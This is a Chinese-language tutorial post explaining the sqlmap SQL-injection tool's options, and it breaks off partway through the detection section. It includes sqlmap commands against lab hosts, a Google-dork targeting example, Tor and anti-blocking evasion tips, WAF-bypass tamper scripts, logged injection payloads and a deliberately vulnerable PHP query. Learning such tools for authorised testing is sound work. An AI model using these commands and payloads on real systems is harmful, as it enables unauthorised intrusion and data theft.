Sqlmap中文手冊詳解

一、Sqlmap是什麼

Sqlmap是開源的自動化SQL注入工具,由Python寫成,具有如下特點:

  • 完全支持MySQL、Oracle、PostgreSQL、Microsoft SQL Server、Microsoft Access、IBM DB2、SQLite、Firebird、Sybase、SAP MaxDB、HSQLDB和Informix等多種數據庫管理系統。
  • 完全支持布爾型盲注、時間型盲注、基於錯誤信息的注入、聯合查詢注入和堆查詢注入。
  • 在數據庫證書、IP地址、端口和數據庫名等條件允許的情況下支持不通過SQL注入點而直接連接數據庫。
  • 支持枚舉用戶、密碼、哈希、權限、角色、數據庫、數據表和列。
  • 支持自動識別密碼哈希格式並通過字典破解密碼哈希。
  • 支持完全地下載某個數據庫中的某個表,也可以只下載某個表中的某幾列,甚至只下載某一列中的部分數據,這完全取決於用戶的選擇。
  • 支持在數據庫管理系統中搜索指定的數據庫名、表名或列名
  • 當數據庫管理系統是MySQL、PostgreSQL或Microsoft SQL Server時支持下載或上傳文件。
  • 當數據庫管理系統是MySQL、PostgreSQL或Microsoft SQL Server時支持執行任意命令並回現標準輸出。

 

二、安裝Sqlmap

Sqlmap的開源項目,託管在github,最簡單的安裝方式便是使用git,執行如下命令:

  git clone https://github.com/sqlmapproject/sqlmap.git
  • 1
  • 2

片刻後命令執行完畢,可以看到當前目錄中多了一個名爲“sqlmap”的目錄,
該目錄中保存着Sqlmap的Python源碼、配置文件和文檔。
由於Python是解釋執行的語言,不用編譯,所以至此最新版的Sqlmap已經安裝完成。
cd到“sqlmap”目錄中,用命令“python sqlmap”啓動Sqlmap,如下圖所示:Sqlmapå®è£å®æ

當想要更新Sqlmap時,進入到“sqlmap”目錄中執行命令“git pull”即可。

三、輸出級別(Output verbosity)

參數:-v

Sqlmap的輸出信息按從簡到繁共分爲7個級別(和葫蘆娃一樣多),依次爲0、1、2、3、4、5和6。使用參數“-v <級別>”來指定某個等級,如使用參數“-v 6”來指定輸出級別爲6。默認輸出級別爲1。各個輸出級別的描述如下:

  • 0:只顯示Python的tracebacks信息、錯誤信息[ERROR]和關鍵信息[CRITICAL];
  • 1:同時顯示普通信息[INFO]和警告信息[WARNING];
  • 2:同時顯示調試信息[DEBUG];
  • 3:同時顯示注入使用的攻擊荷載;
  • 4:同時顯示HTTP請求;
  • 5:同時顯示HTTP響應頭;
  • 6:同時顯示HTTP響應體。

各個級別輸出的信息詳細到什麼程度,還需要自己嘗試下,親眼見到,纔會有明確的認識。

四、指定目標

Sqlmap運行時必須指定至少一個目標,支持一次指定多個目標。有以下幾種指定目標的方式:

1.直接連接數據庫

參數:-d

使用參數“-d”直接連接數據庫,該參數後跟一個表示數據庫的字符串,該字符串有以下兩種格式:

(1).當數據庫管理系統是MySQL、Oracle、Microsoft SQL Server或PostgreSQL等時格式爲:

  DBMS://USER:PASSWORD@DBMS_IP:DBMS_PORT/DATABASE_NAME

(2).當數據庫管理系統是SQLite、Microsoft Access或Firebird等時格式爲:

DBMS://DATABASE_FILEPATH

我用如下命令連接裝在本機上的Mysql:

  python sqlmap.py -d "mysql://root:[email protected]:3306/DISSchool"

卻出現了錯誤,錯誤爲:

  [CRITICAL] sqlmap requires 'python-pymysql' third-party library in order to directly connect to the DBMS 'MySQL'. You can download it from 'https://github.com/petehunt/PyMySQL/'. Alternative is to use a package 'python-sqlalchemy' with support for dialect 'mysql' installed

意思是我沒有安裝Python連接Mysql用的第三方庫python-pymysql。雖然我安裝了python-mysqldb可以使Python連接Mysql,但顯然Sqlmap使用的是python-pymysql而不是python-mysqldb。使用如下命令安裝python-pymysql:

  git clone https://github.com/petehunt/PyMySQL/
  cd PyMySQL/
  sudo python setup.py install

安裝好python-pymysql後再執行命令:

  python sqlmap.py -d "mysql://root:[email protected]:3306/DISSchool"

這次沒有報錯,成功的連接到了數據庫。只是除了檢測數據庫確實是Mysql版本號大於等於5.0.0之外便什麼都沒有做。讓Sqlmap做點什麼需要用其他參數指定,這些參數我們稍晚些再學習。

2.指定目標URL

參數:-u 或 –url

使用參數“-u”或“–url”指定一個URL作爲目標,該參數後跟一個表示URL的字符串,可以是http協議也可以是https協議,還可以指定端口,如:

python sqlmap.py -u “http://192.168.56.102:8080/user.php?id=0”

3.從Burp或WebScarab的代理日誌中解析目標

參數:-l

使用參數“-l”指定一個Burp或WebScarab的代理日誌文件,Sqlmap將從日誌文件中解析出可能的攻擊目標,並逐個嘗試進行注入。該參數後跟一個表示日誌文件的路徑。

WebScarab我沒有用過,Burp倒是常常會用。Burp默認不記錄日誌,想要記錄日誌需要手動開啓,設置方法如下圖所示:设置burpæ¥å¿

只用勾選代理中的請求數據就足夠了,日誌文件路徑可隨意設置,這裏我設置日誌文件名爲proxy.log,放在用戶主目錄中。

設置瀏覽器的代理爲Burp,隨便瀏覽幾個網頁後發現proxy.log竟然已經有70多K大,查看其內容,部分輸出如下:

werner@Yasser:~$ more proxy.log ====================================================== 7:22:52 PM http://ocsp.digicert.com:80 [117.18.237.29] ====================================================== POST / HTTP/1.1 Host: ocsp.digicert.com User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:55.0) Gecko/20100101 Firefox/55.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-SG,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate Content-Length: 83 Content-Type: application/ocsp-request DNT: 1 Connection: close 0Q0O0M0K0I0 + �ǝ��Pr�Tz� ====================================================== ====================================================== 7:23:00 PM http://blog.csdn.net:80 [47.95.49.160] ====================================================== GET /pyufftj/article/details/21469201 HTTP/1.1 Host: blog.csdn.net User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:55.0) Gecko/20100101 Firefox/55.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 …

可以看到該日誌文件不僅記錄了GET參數,還記錄了cookie和POST參數。現在使用如下命令讓Sqlmap解析該日誌文件,自動尋找目標,檢測注入漏洞:

python sqlmap.py -l ../proxy.log

注意日誌文件的路徑要寫正確。執行該命令時,每找到一個可能的攻擊目標,Sqlmap都會詢問是否要檢測該目標。,默認回答爲“Y”,想要測試該目標,直接按回車鍵就行。

當日志較大時會有很多可能目標,雖然有詢問機制但依舊麻煩,因爲不能一路按回車而要進行判斷。若是可以對日誌進行過濾就好了!確實是可以的,參數爲“–scope”,詳情見“五.18”。

4.從站點地圖文件中解析目標

參數:-x

爲便於搜索引擎收錄,許多網站專門爲搜索引擎生成了xml格式的站點地圖,如百度Sitemap支持xml格式。Sqlmap可以直接解析xml格式的站點地圖,從中提取攻擊目標,對一個網站全方位無死角地進行注入檢測,此時使用的參數是“-x”,如:

python sqlmap.py -x http://www.6eat.com/sitemap.xml

但執行該命令的結果卻是:

[WARNING] no usable links found (with GET parameters)

沒有找到有GET參數的可用鏈接。就我有限的經驗而言,站點地圖中的URL很少包含GET參數,POST參數就更不用說了。所以Sqlmap的這一功能似乎有些雞肋。

5.從文本文件中解析目標

參數:-m

參數“-u”一次只能指定一個URL,若有多個URL需要測試就顯得很不方便,我們可用將多個URL以一行一個的格式保存在文本文件中,然後使用參數“-m”,後跟該文本文件路徑,讓Sqlmap依次讀取文件中的URL作爲攻擊目標。

如我們有文件url.txt,內容爲:

www.target1.com/vuln1.php?q=foobar

www.target2.com/vuln2.asp?id=1

www.target3.com/vuln3/id/1*

然後可用使用如下命令讓Sqlmap測試這些URL是否存在注入漏洞:

python sqlmap.py -m url.txt

同樣,執行該命令時,Sqlmap會很貼心地一個個詢問:“do you want to test this URL?”

6.從文件載入HTTP請求

參數:-r

可以將一個HTTP請求保存在文件中,然後使用參數“-r”加載該文件,Sqlmap會解析該文件,從該文件分析目標並進行測試。

設有如下所示的HTTP請求保存在文件get.txt中:

GET /user.php?id=1 HTTP/1.1

Host: 192.168.56.101:8080

User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:55.0) Gecko/20100101 Firefox/55.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-SG,en-US;q=0.7,en;q=0.3

Accept-Encoding: gzip, deflate

DNT: 1

Connection: close

Upgrade-Insecure-Requests: 1

則使用如下命令讓Sqlmap解析該文件,以該文件中HTTP請求目標爲攻擊目標進行測試:

python sqlmap.py -r get.txt

7.將Google搜索結果作爲攻擊目標

參數:-g

Sqlmap能自動獲取Google搜索的前一百個結果,對其中有GET參數的URL進行注入測試。當然,所處的網絡環境要能訪問Google才行。下面是Sqlmap手冊中“-g”參數的例子:

python sqlmap.py -g “inurl:\”.php?id=1\” “

8.從配置文件中載入攻擊目標

參數:-c

使用參數“-c”指定一個配置文件(如:sqlmap.conf),Sqlmap會解析該配置文件,按照該配置文件的配置執行動作。配置文件中可以指定攻擊目標,實際上除了攻擊目標外,配置文件還可以指定各種參數的值。

Sqlmap的按照目錄中有一個名爲sqlmap.conf的文件,該文件是配置文件的模板,看看該文件內容,就能明白配置文件是什麼意思了。

五、請求

HTTP是一個複雜的協議。HTTP請求有很多種方法(method),可以在不同位置(GET、POST、cookie和User-Agent等)攜帶不同參數。往往只有在特定位置攜帶了特定參數以特定方法發起的請求才是合法有效的請求。Sqlmap運行時除了需要指定目標,有時還需要指定HTTP請求的一些細節。下面這些參數都用於指定HTTP請求細節。

1.HTTP方法

參數:–method

一般來說,Sqlmap能自動判斷出是使用GET方法還是POST方法,但在某些情況下需要的可能是PUT等很少見的方法,此時就需要用參數“–method”來指定方法。如:“–method=PUT”。

2.POST數據

參數:–data

該參數指定的數據會被作爲POST數據提交,Sqlmap也會檢測該參數指定數據是否存在注入漏洞。如:

python sqlmap.py -u “http://192.168.56.102:8080/user.php” –data=”id=0&name=werner”

3.指定分隔符

參數:–param-del

上一個例子中“–data”的數據“id=0&name=werner”其實由兩個部分組成:“id=0”和“name=werner”,默認地以“&”作爲分隔符。我們可以使用“–param-del”來指定分隔符,如:

python sqlmap.py -u “http://192.168.56.102:8080/user.php” –data=”id=0;name=werner” –param-del=”;”

4.cookie

參數:–cookie、–cookie-del、–drop-set-cookie和–load-cookies

有兩種情況會用到這些參數:

  • 要測試的頁面只有在登錄狀態下才能訪問,登錄狀態用cookie識別
  • 想要檢測是否存在cookie注入

當“–level”設置爲2或更高時,Sqlmap會檢測cookie是否存在注入漏洞,關於“–level”的更多信息見下文。

(1).“–cookie”和“–cookie-del”

在瀏覽器中登錄目標網站後複製出維持登錄狀態的cookie,用參數“–cookie”來指定這些cookie,如:

 python sqlmap.py -u "http://192.168.56.102:8080/user.php" --cookie "JSESSIONID=E5D6C8C81;NAME=werner;"

與POST參數不同,cookie默認的分隔符爲“;”,想要指定cookie中的分隔符,使用參數“–cookie-del”。

(2).“–drop-set-cookie”

若HTTP響應頭中有“Set-Cookie”,Sqlmap會自動設置“Set-Cookie”設置的cookie,並對這些cookie進行檢測。若不想讓Sqlmap這麼做,添加參數“–drop-set-cookie”即可,這樣,Sqlmap會忽略“Set-Cookie”。

(3).“–load-cookies”

該參數用於從文件中載入Netscape或wget格式的cookie。

wget可以保存和載入cookie,示例如下:

# Log in to the server. This can be done only once.

wget –save-cookies cookies.txt \

–post-data ‘user=foo&password=bar’ \

http://server.com/auth.php

# Now grab the page or pages we care about.

wget –load-cookies cookies.txt \

-p http://server.com/interesting/article.php

5.User-Agent

參數:–user-agent和–random-agent

默認情況下Sqlmap發送的HTTP請求中的User-Agent值爲:

sqlmap/1.0-dev-xxxxxxx (http://sqlmap.org)

使用參數“–user-agent”可以指定一個User-Agent值。但正常的User-Agent值長什麼樣我們可能並不記得,所以有了參數“–random-agent”,使用該參數,Sqlmap會從文件./txt/user-agents.txt中隨機地取一個User-Agent。注意,在一次會話中只有使用同一個User-Agent,並不是每發一個HTTP請求包,都隨機一個User-Agent。

用如下命令統計user-agents.txt行數:

  cat sqlmap/txt/user-agents.txt | wc -l

結果爲4211,當然其中還包含空行、註釋等,但總的來說該文件中存儲的User-Agent也有4千多個。

當“–level”設置爲3或更高時,Sqlmap會檢測User-Agent是否存在注入漏洞,關於“–level”的更多信息見下文。

6.Host

參數:–host

使用該參數可以手動指定HTTP頭中的Host值。

當“–level”設置爲5或更高時,Sqlmap會檢測Host是否存在注入漏洞,關於“–level”的更多信息見下文。

7.Referer

參數:–referer

使用該參數可以指定HTTP頭中的Referer值。Sqlmap發送的HTTP請求頭部默認無Referer字段。

當“–level”設置爲3或更高時,Sqlmap會檢測Referer是否存在注入漏洞,關於“–level”的更多信息見下文。

8.額外的HTTP頭

參數:–headers

使用該參數可以在Sqlmap發送的HTTP請求報文頭部添加字段,若添加多個字段,用“\n”分隔。如命令:

  python sqlmap.py -u "http://192.168.56.101:8080/" -v 5 --headers "X-A:A\nX-B: B"

發送的HTTP請求包爲:

GET / HTTP/1.1
  X-B: B
  Host: 192.168.56.101:8080
  Accept-encoding: gzip,deflate
  X-A: A
  Accept: */*
  User-agent: sqlmap/1.1.10#stable (http://sqlmap.org)
  Connection: close

加參數“-v 5”是爲了讓Sqlamp輸出發送的HTTP請求包,便於我們觀察。

9.身份認證

參數:–auth-type和–auth-cred

這些參數用於進行身份認證。“–auth-type”用於指定認證方式,支持以下三種身份認證方式:

  • Basic
  • Digest
  • NTLM

“–auth-cred”用於給出身份認證的憑證,格式是“username:password”。

如:

  python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/basic/get_int.php?id=1" --auth-type Basic --auth-cred "testuser:testpass"

10.基於證書的身份認證

參數:–auth-file

若Web服務器要求客戶端提供證書則可以使用此參數指定一個PEM格式的證書文件。我們知道SSL協議的客戶端認證是可選的,實踐中一般都只用服務器端提供自己的證書供客戶端驗證,很少要求客戶端提供自己的證書。

11.忽略401

參數:–ignore-401

使用該參數忽略401錯誤(未認證)。

12.HTTP(S)代理

參數:–proxy、–proxy-cred、–proxy-file和–ignore-proxy

使用參數“–proxy”來設置一個HTTP(S)代理,格式是“http(s)://url:port”。若代理需要認證,使用參數“–proxy-cred”來提供認證憑證,格式是“username:password”。

使用參數“–proxy-file”指定一個存儲着代理列表的文件,Sqlmap會依次使用文件中的代理,當某個代理有任何連接問題時就會被棄用而換下一個代理。

使用參數“–ignore-proxy”忽略本地代理設置。

13.Tor匿名網絡

參數:–tor、–tor-type、–tor-port和–check-tor

不管出於什麼原因,如果想要保持匿名狀態與其使用單個的HTTP(S)代理,不如安裝類似Privoxy這樣的軟件按照Tor的安裝指導配置一個Tor客戶端。設置好後使用參數“–tor”讓Sqlmap自動設置使用Tor代理。

如果想要手動指定Tor的類型和端口可以使用參數“–tor-type”和“–tor-port”,如:

  --tor-type=SOCKS5 --tor-port 9050

如果要求高度的匿名性可以使用參數“–check-tor”,加上該參數後Sqlmap會確保所有流量都走Tor代理,若Tor代理失效,Sqlmap會發出警告並退出。檢測方法是訪問Are you using Tor?

14.HTTP請求之間添加延遲

參數:–delay

過於頻繁地發送請求可能會被網站察覺或有其他不良後果。使用參數“–delay”來指定HTTP請求之間的延遲,單位爲秒,類型是浮點數,如“–delay 1.5”表示延遲1.5秒。默認是沒有延遲的。

15.超時

參數:–timeout

超時時間默認爲30秒,可以用參數“–timeout”指定超時時間,如“–timeout 44.5”表示設置超時時間爲44.5秒。

16.超時後最大重試次數

參數:–retries

超時後Sqlmap會進行重試,最大重試次數默認爲3,可以用參數“–retries”指定最大重試次數。

17.隨機化參數值

參數:–randomize

使用該參數,Sqlmap會隨機生成每次HTTP請求中參數的值,值的類型和長度依照於原始值。

18.用正則表達式過濾代理日誌

參數:–scope

指定一個Python正則表達式對代理日誌進行過濾,只測試符合正則表達式的目標,如:

  python sqlmap.py -l burp.log --scope="(www)?\.target\.(com|net|org)"

19.避免錯誤請求過多而被屏蔽

參數:–safe-url、–safe-post、–safe-req和–safe-freq

有時服務器檢測到某個客戶端錯誤請求過多會對其進行屏蔽,而Sqlmap的測試往往會產生大量錯誤請求,爲避免被屏蔽,可以時不時的產生幾個正常請求以迷惑服務器。有以下四個參數與這一機制有關:

  • –safe-url: 隔一會就訪問一下的安全URL
  • –safe-post: 訪問安全URL時攜帶的POST數據
  • –safe-req: 從文件中載入安全HTTP請求
  • –safe-freq: 每次測試請求之後都會訪問一下的安全URL

這裏所謂的安全URL是指訪問會返回200、沒有任何報錯的URL。相應地,Sqlmap也不會對安全URL進行任何注入測試。

20.關閉URL編碼

參數:–skip-urlencode

Sqlmap默認會對URL進行URL編碼,可以使用該參數關閉URL編碼。

21.繞過CSRF保護

參數:–csrf-token和–csrf-url

現在有很多網站通過在表單中添加值爲隨機生成的token的隱藏字段來防止CSRF攻擊,Sqlmap會自動識別出這種保護方式並繞過。但自動識別有可能失效,此時就要用到這兩個參數。

“–csrf-token”用於指定包含token的隱藏字段名,若這個字段名不是常見的防止CSRF攻擊的字段名Sqlmap可能不能自動識別出,需要手動指定。如Django中該字段名爲“csrfmiddlewaretoken”,明顯與CSRF攻擊有關。

“–csrf-url”用於從任意的URL中回收token值。若最初有漏洞的目標URL中沒有包含token值而又要求在其他地址提取token值時該參數就很有用。

22.強制使用SSL

參數:–force-ssl

23.在每次請求前執行特定Python代碼

參數:–eval

直接看例子:

  python sqlmap.py -u "http://www.target.com/vuln.php?id=1&hash=c4ca4238a0b923820dcc509a6f75849b" --eval="import hashlib;hash=hashlib.md5(id).hexdigest()"

每次返送請求前,Sqlmap都會依據id值重新計算hash值並更新GET請求中的hash值。

六、優化

這些參數可以優化Sqlmap的性能。

1.一鍵優化

參數:-o

添加此參數相當於同時添加下列三個優化參數:

  • –keep-alive
  • –null-connection
  • –threads=3 (如果沒有設置一個更好的值)

這些參數具體含義見後文。

2.HTTP長連接

參數:–keep-alive

該參數讓Sqlmap使用HTTP長連接。該參數與“–proxy”矛盾。

3.HTTP空連接

參數:–null-connection

有一種特殊的HTTP請求類型可以直接獲得HTTP響應的大小而不用獲得HTTP響應體。顯然這在布爾型盲注中可以節約很大的帶寬。當然這一技術是需要服務器端支持的。該參數與“–text-only”矛盾。

4.HTTP併發

參數:–threads

使用該參數指定Sqlmap可以達到的最大併發數。從性能和網站承受能力兩方面考慮最大併發數不要超過10。

七、注入

這些參數被用於指定要測試的參數、定製攻擊荷載和選擇篡改腳本。

1.要測試的注入點

參數:-p和–skip

默認情況下Sqlmap會測試所有GET參數和POST參數,當level大於等於2時會測試cookie參數,當level大於等於3時會測試User-Agent和Referer。實際上還可以手動指定一個以逗號分隔的、要測試的參數列表,該列表中的參數不受level限制。這就是“-p”的作用。

舉個例子,若想只測試GET參數“id”和User-Agent,則可以這麼寫:

  -p "id,user-agent"

如果不想測試某一參數則可以使用“–skip”。如設置了level爲5但不想測試User-Agent和Referer,則可以這麼寫:

  --level=5 --skip="user-agent,referer"

有時會遇到僞靜態網頁。動態網頁會明目張膽地列出參數,如:

  /user.php?id=1

顯然參數是id,值爲1。但若是僞靜態網頁則可能這樣寫:

  /user/1/

將參數隱藏在URL中。通常情況下Sqlmap不會對這樣的僞靜態網頁的參數做測試,因爲Sqlmap無法判斷哪個是參數。若想要對這樣的僞靜態進行測試,只需要加上“*”,告訴Sqlmap哪個是僞靜態參數就行,剩下事的和GET參數沒有什麼區別。如:

  python sqlmap.py -u "http(s)://target.cc/user/1*/"

2.指定數據庫管理系統

參數:–dbms

dbms是“Database Management System”的縮寫。默認情況下Sqlmap會自動檢測網站使用的數據庫管理系統,Sqlmap支持以下這些數據庫管理系統:

  • MySQL
  • Oracle
  • PostgreSQL
  • Microsoft SQL Server
  • Microsoft Access
  • Firebird
  • SQLite
  • Sybase
  • SAP MaxDB
  • DB2

如果Sqlmap自動檢測失敗或是不想讓Sqlmap進行數據庫指紋檢測,可以使用參數“–dbms”手動指定數據庫管理系統,如:“–dbms postgresql”。

對於Mysql和Microsoft SQL Server和要這樣指定:

  --dbms MySQL <version>
  --dbms Microsoft SQL Server <version>

對於MySQL來說,是類似這樣的:5.0。對於Microsoft SQL Server來說,是類似這樣的:2005。

如果在添加“–dbms”參數的同時還添加了“–fingerprint”,Sqlmap只會在指定的數據庫管理系統內進行指紋識別。

只有在很確定時使用“–dbms”,否則還是讓Sqlmap自動檢測更好些。

3.指定運行數據庫管理系統的操作系統

參數:–os

默認情況下Sqlmap會自動檢測運行數據庫管理系統的操作系統,目前完全支持的操作系統有:

  • Linux
  • Windows

如果很確定可以使用參數“–os”指定運行數據庫管理系統的操作系統。當然在只用很確定時才應該使用此參數,否則還是讓Sqlmap自動檢測更好些。

4.生成無效參數值時強制使用大數

參數:–invalid-bignum

有時在注入測試時需要生成無效參數,一般情況下Sqlmap會取已有參數(如:id=13)的相反數(如:id=-13)作爲無效參數。但若添加“–invalid-bignum”,Sqlmap就會取大數(如:id=99999999)作爲無效參數。

5.生成無效參數值時強制使用邏輯操作符

參數:–invalid-logical

有時在注入測試時需要生成無效參數,一般情況下Sqlmap會取已有參數(如:id=13)的相反數(如:id=-13)作爲無效參數。但若添加“–invalid-logical”,Sqlmap就會使用邏輯操作符(如:id=13 AND 18=19)作爲無效參數。

6.生成無效參數值時強制使用字符串

參數:–invalid-string

有時在注入測試時需要生成無效參數,一般情況下Sqlmap會取已有參數(如:id=13)的相反數(如:id=-13)作爲無效參數。但若添加“–invalid-logical”,Sqlmap就會使用字符串(如:id=akewmc)作爲無效參數。

7.關閉payload轉換

參數:–no-cast

在檢索結果時Sqlmap會將所有輸入轉換爲字符串類型,若遇到空值(NULL)則將其替換爲空白字符。
這樣做是爲了防止如連接空值和字符串之類的任何錯誤發生並可以簡化數據檢索過程。
但是有報告顯示在老版本的Mysql中這樣做會導致數據檢索出現問題,因此添加了“–no-cast”來告訴Sqlmap不要這樣做。

8.關閉字符串編碼

參數:–no-escape

有時Sqlmap會使用用單引號括起來的字符串值作爲payload,如“SELECT ‘foobar’”,默認地這些值會被編碼,如上例將被編碼爲:
“SELECT CHAR(102)+CHAR(111)+CHAR(111)+CHAR(98)+CHAR(97)+CHAR(114))”。這樣做既可以混淆視聽讓人一時難以洞察payload的內容又可以在後臺服務器使用類似magic_quote或mysql_real_escape_string這樣的轉義函數的情況下字符串不受影響。當然在某些情況下需要關閉字符串編碼,如爲了縮減payload長度,用戶可以使用“–no-escape”來關閉字符串編碼。

9.定製payload

參數:–prefix和–suffix

有時只有在payload後添加用戶指定的後綴才能注入成功。另一種場景是用戶已經知道查詢語句怎麼寫的,此時可以直接指定payload的前綴和後綴來完成檢測和注入。

一個有漏洞的源碼示例如下:

  query = "SELECT * FROM users WHERE id=('" . $\_GET['id'] . "') LIMIT 0, 1";

對這樣的例子可以讓Sqlmap自動檢測邊界範圍也可以手動指出邊界範圍:

  python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_str_brackets.php?id=1" -p id --prefix "')" --suffix "AND ('abc'='abc"

最終SQL語句會變成:

  SELECT * FROM users WHERE id=('1') <PAYLOAD> AND ('abc'='abc') LIMIT 0, 1

這個句子語法是正確的,payloa也能執行。

在簡單的測試環境下Sqlmap不需要被提供定製的邊界範圍就能夠自動檢測並完成注入,但在真實世界中某些應用可能會很複雜如嵌套JOIN查詢,此時就需要爲Sqlmap指明邊界範圍。

10.修改注入數據

參數:–tamper

除了用CHAR()編碼字符串外Sqlmap沒有對payload進行任何混淆。
該參數用於對payload進行混淆以繞過IPS或WAF。
該參數後跟一個tamper腳本的名字。
若該tamper腳本位於sqlmap的安裝目錄的tamper/目錄中,就可以省略路徑和後綴名,只寫文件名。
多個tamper腳本之間用空格隔開。

在tamper/目錄中有許多可用的tamper腳本。tamper腳本的作用是對payload進行混淆。
我們還可以自己寫tamper腳本,這屬於Sqlmap的高級用法,一個有效的tamper腳本如下所示:

  # 必須要導入的庫
  from lib.core.enums import PRIORITY
  # 定義該tamper腳本的優先級
  __priority__ = PRIORITY.NORMAL
  def tamper(payload):
    '''此處是tamper的說明'''
    retVal = payload
    # 此處是用於修改payload的代碼
    # 返回修改後的payload
    return retVal

下面是一個示例,該示例的目標是Mysql,假定大於號、空格和開頭的SELECT是被禁止的:

  python sqlmap.py -u "http://192.168.56.101:8080/ScorePrj/?id=1" \
  --tamper tamper/between.py,tamper/randomcase.py,tamper/space2comment.py -v 3

該示例部分輸出如下:

  [12:55:52] [DEBUG] cleaning up configuration parameters
  [12:55:52] [INFO] loading tamper script 'between'
  [12:55:52] [INFO] loading tamper script 'randomcase'
  [12:55:52] [INFO] loading tamper script 'space2comment'
  [...]
  [12:55:53] [INFO] testing for SQL injection on GET parameter 'id'
  [12:55:53] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
  [12:55:53] [PAYLOAD] 1
  [12:55:53] [PAYLOAD] 1)/**/aNd/**/8083=4737/**/aNd/**/(4754/**/BetwEen/**/4754/**/aNd/**/4754
  [12:55:53] [PAYLOAD] 1)/**/anD/**/4962=4962/**/anD/**/(2361/**/BeTweEN/**/2361/**/anD/**/2361
  [12:55:53] [PAYLOAD] 1/**/aNd/**/9754/**/BETwEEn/**/1206/**/aNd/**/1206
  [12:55:53] [PAYLOAD] 1/**/AnD/**/4962/**/beTweEn/**/4962/**/AnD/**/4962
  [12:55:53] [PAYLOAD] 1/**/aND/**/2741/**/BetWeEn/**/9323/**/aND/**/9323--/**/Ihsa
  [12:55:53] [PAYLOAD] 1/**/anD/**/4962/**/BetweEN/**/4962/**/anD/**/4962--/**/wVUI
  [12:55:53] [PAYLOAD] 1')/**/anD/**/1694=6061/**/anD/**/('zLwu'='zLwu
  [12:55:53] [PAYLOAD] 1')/**/ANd/**/4962=4962/**/ANd/**/('Dsfw'='Dsfw
  [12:55:53] [PAYLOAD] 1'/**/aND/**/6307=8901/**/aND/**/'fKLn'='fKLn
  [12:55:53] [PAYLOAD] 1'/**/aNd/**/4962=4962/**/aNd/**/'YFsp'='YFsp
  [12:55:53] [PAYLOAD] 1%'/**/anD/**/3549=6854/**/anD/**/'%'='
  [12:55:53] [PAYLOAD] 1%'/**/aND/**/4962=4962/**/aND/**/'%'='
  [...]
  [12:55:54] [PAYLOAD] 1)/**/uNIoN/**/alL/**/Select/**/nuLl--/**/NRtq
  [12:55:54] [PAYLOAD] 1)/**/UnIOn/**/alL/**/sElEcT/**/nuLL,nuLL--/**/jalk
  [12:55:54] [PAYLOAD] 1)/**/Union/**/aLl/**/seLeCt/**/nuLL,nuLL,nuLL--/**/ylpg
  [...]

而若不加tamper腳本,上例的部分輸出爲:

[...]
  [13:00:12] [INFO] testing for SQL injection on GET parameter 'id'
  [13:00:12] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
  [13:00:12] [PAYLOAD] 1) AND 9902=5632 AND (5820=5820
  [13:00:12] [PAYLOAD] 1) AND 6711=6711 AND (7174=7174
  [13:00:12] [PAYLOAD] 1 AND 7140=6136
  [13:00:12] [PAYLOAD] 1 AND 6711=6711
  [13:00:12] [PAYLOAD] 1 AND 1693=7532-- oqcR
  [13:00:12] [PAYLOAD] 1 AND 6711=6711-- qAPJ
  [13:00:12] [PAYLOAD] 1') AND 6904=7395 AND ('xBlu'='xBlu
  [13:00:12] [PAYLOAD] 1') AND 6711=6711 AND ('RgoX'='RgoX
  [13:00:12] [PAYLOAD] 1' AND 6469=7302 AND 'maCj'='maCj
  [13:00:12] [PAYLOAD] 1' AND 6711=6711 AND 'pSYg'='pSYg
  [13:00:12] [PAYLOAD] 1%' AND 7516=3605 AND '%'='
  [13:00:12] [PAYLOAD] 1%' AND 6711=6711 AND '%'='
  [...]
  [13:00:12] [PAYLOAD] 1) UNION ALL SELECT NULL-- mUDh
  [13:00:12] [PAYLOAD] 1) UNION ALL SELECT NULL,NULL-- QKId
  [13:00:12] [PAYLOAD] 1) UNION ALL SELECT NULL,NULL,NULL-- iwvT
  [...]

八、檢測

1.檢測級別

參數:–level

此參數用於指定檢測級別,有1~5共5級。默認爲1,表示做最少的檢測,相應的,5級表示做最多的檢測。
Sqlmap使用的payload保存在目錄xml/payloads/中,是xml格式的,可以自己定製。節選一個payload如下所示:

  <test>
      <title>AND boolean-based blind - WHERE or HAVING clause (Generic comment)</title>
      <stype>1</stype>
      <level>2</level>
      <risk>1</risk>
      <clause>1</clause>
      <where>1</where>
      <vector>AND [INFERENCE]</vector>
      <request>
          <payload>AND [RANDNUM]=[RANDNUM]</payload>
          <comment>[GENERIC_SQL_COMMENT]</comment>
      </request>
      <response>
          <comparison>AND [RANDNUM]=[RANDNUM1]</comparison>
      </response>
  </test>

在上例中可以看到有level標籤,其值爲2,該payload在檢測級別大於等於2時被使用。
risk標籤的含義見後文。

檢測級別不僅會影響payload的使用,還會影響注入點的檢測,GET和POST參數是一直會被檢測的,
檢測級別大於等於2時會檢測cookie是否有注入,檢測級別大於等於3時會檢測User-Agent和Referer是否有注入。

若不是很清楚注入點在哪裏可以設置一個比較高的檢測級別。

強烈建議在向Sqlmap官方報告一個明確存在的注入漏洞檢測不出來前先把檢測級別調高試試。

2.風險等級

參數:–risk

此參數用於指定風險等級,有1~4共4級。默認風險等級爲1,此等級在大多數情況下對測試目標無害。
風險等級2添加了基於時間的注入測試,等級3添加了OR測試。

若注入點是在UPDATE語句中,使用OR測試可能會修改整個表的數據,這顯然不是攻擊者想要看到的。
因此用戶需要能控制風險等級避開有潛在風險的payload。

3.頁面對比

參數:–string、–not-string、–regexp

默認情況下在布爾型注入中Sqlmap通過比較返回頁面內容來判斷True或False。
但有時頁面每次刷新都會不同,如頁面中有動態廣告。Sqlmap會盡力判斷出頁面中動態的部分來,但並不總能成功。
用戶可以用參數“–string”指出代表True的頁面會包含而代表False的頁面不會包含的字符串以供Sqlmap判斷True或False,
若這樣的字符串是變動的還可以用參數“–regexp”指定一個正則表達式去匹配這樣的字符串。
或者用參數“–not-string”指出代表False的頁面會包含而代表True的頁面不會包含的字符串。

參數:–code

